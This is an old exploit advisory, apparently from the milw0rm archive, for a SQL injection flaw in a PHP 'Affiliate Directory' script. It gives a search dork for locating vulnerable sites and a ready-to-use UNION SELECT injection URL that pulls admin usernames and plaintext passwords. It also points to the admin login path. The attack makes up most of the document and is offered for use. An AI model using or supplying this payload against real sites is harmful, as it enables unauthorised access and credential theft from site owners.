--==+================================================================================+==--
--==+ Affiliate Directory SQL Injection Vulnerbility +==--
--==+================================================================================+==--
AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: altavista.com > "Search Affiliate Programs:" > Home > Newest Links
DESCRIPTION:
Affiliate Directory suffers from insecure mysql querys, the script is widely published thoughout the web.
the below injections can retrive the admin username and password.
EXPLOITS:
http://server.com/directory.php?ax=list&sub=8&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4/**/FROM/**/admin/*
NOTE/TIP:
admin login is at /siteadmin/
passwords are in plaintext
GREETZ: milw0rm.com, H4CK-Y0u.org
--==+================================================================================+==--
--==+ Affiliate Directory SQL Injection Vulnerbility +==--
--==+================================================================================+==--
# milw0rm.com [2008-04-04]
